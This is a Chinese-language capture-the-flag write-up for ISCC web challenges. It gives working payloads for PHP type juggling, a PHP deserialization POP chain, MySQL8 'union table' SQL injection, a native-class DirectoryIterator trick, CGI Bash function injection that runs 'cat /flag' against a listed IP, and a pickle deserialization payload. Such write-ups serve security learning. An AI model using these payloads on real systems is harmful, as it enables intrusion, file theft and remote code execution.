iscc部分web的wp(除0解)
字数 1034 2025-08-12 11:33:41
ISCC Web题目解题思路与技巧详解
冬奥会题目解析
题目代码分析
<?php
show_source(__FILE__);
$Step1=False;
$Step2=False;
$info=(array)json_decode(@$_GET['Information']);
if(is_array($info)){
var_dump($info);
is_numeric(@$info["year"])?die("Sorry~"):NULL;
if(@$info["year"]){
($info["year"]=2022)?$Step1=True:NULL;
}
if(is_array(@$info["items"])){
if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
$status = array_search("skiing", $info["items"]);
$status===false?die("Sorry~"):NULL;
foreach($info["items"] as $key=>$val){
$val==="skiing"?die("Sorry~"):NULL;
}
$Step2=True;
}
}
if($Step1 && $Step2){
include "2022flag.php";
echo $flag;
}
?>
绕过条件分析
-
Step1条件:
year不能是数字类型year的值在比较时必须等于2022
-
Step2条件:
items必须是数组且长度为3items[1]必须是数组items中必须包含"skiing"但不能直接等于"skiing"
构造Payload
?Information={"year":"min","items":[0,[],"a"]}
原理:
- 使用字符串"min"绕过is_numeric检查
- PHP弱类型比较时"min"==2022为真
- items数组构造为[0,[],"a"]满足所有条件
Pop2022题目解析
反序列化漏洞利用
类结构分析:
class Road_is_Long {
public $page;
public $string;
// __toString和__wakeup方法
}
class Try_Work_Hard {
protected $var;
// __invoke方法
}
class Make_a_Change {
public $effort;
// __get方法
}
构造POP链
- 触发Road_is_Long的__toString
- 触发Make_a_Change的__get
- 触发Try_Work_Hard的__invoke
- 利用文件包含读取flag.php
最终Payload
<?php
class Try_Work_Hard{
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Road_is_Long{
public $page;
public $string;
public function __construct($file) {
$this->page = $file;
}
}
class Make_a_Change{
public $effort;
}
$a = new Road_is_Long('aaa');
$a->string = new Make_a_Change();
$a->string->effort = new Try_Work_Hard();
$b = new Road_is_Long($a);
echo urlencode(serialize($b));
Easy-SQL题目解析
MySQL8特性利用
当select被过滤时,使用TABLE语句替代:
?id=-1 union table emails limit 7,1
关键点
- MySQL8支持TABLE语句查询表数据
- 绕过select过滤的限制
findme题目解析
PHP反序列化利用原生类
利用DirectoryIterator类枚举文件:
class a{
public $un0="DirectoryIterator";
public $un1="glob:///var/www/html/f*.txt";
public $un2;
public $un3="unserialize";
public $un4="abcd";
}
关键步骤
- 发现flag文件路径为/fl4g
- 通过HTTP走私攻击访问内部路径
ping2rce题目解析
CGI环境变量注入
利用Bash环境变量注入实现RCE:
import requests
url = 'http://59.110.159.206:8010/cgi-bin/ping?ip=127.0.0.1'
filename = 'BASH_FUNC_ping%%'
data = {filename: (None, '() { cat /flag; }')}
res = requests.post(url=url, files=data)
print(res.text)
Melody题目解析
Flask Session伪造
- 获取session-key:
meldoy-is-so-cute-wawawa! - 伪造admin session
Pickle反序列化绕过
构造特殊payload覆盖模板变量:
import base64
data=b'''c__main__melody(S'name'S"melody"S"hug"S"2"db0(c__main__registerS"melody"S"hug"o.'''
print(base64.b64encode(data))
通用技巧总结
- PHP类型混淆:利用弱类型比较特性
- POP链构造:分析魔术方法的调用链
- MySQL绕过:使用新特性替代被过滤的关键字
- SSRF绕过:使用特殊URL格式绕过限制
- 反序列化利用原生类:DirectoryIterator、SimpleXMLElement等
- HTTP走私:利用协议解析差异访问内部资源
- 环境变量注入:CGI环境下Bash的特殊漏洞
- Session伪造:获取密钥后生成任意session
- Pickle绕过:构造特殊对象覆盖关键变量
以上为ISCC Web题目的详细解题思路和关键技术点,涵盖了PHP、Python、MySQL等多种环境下的漏洞利用方法。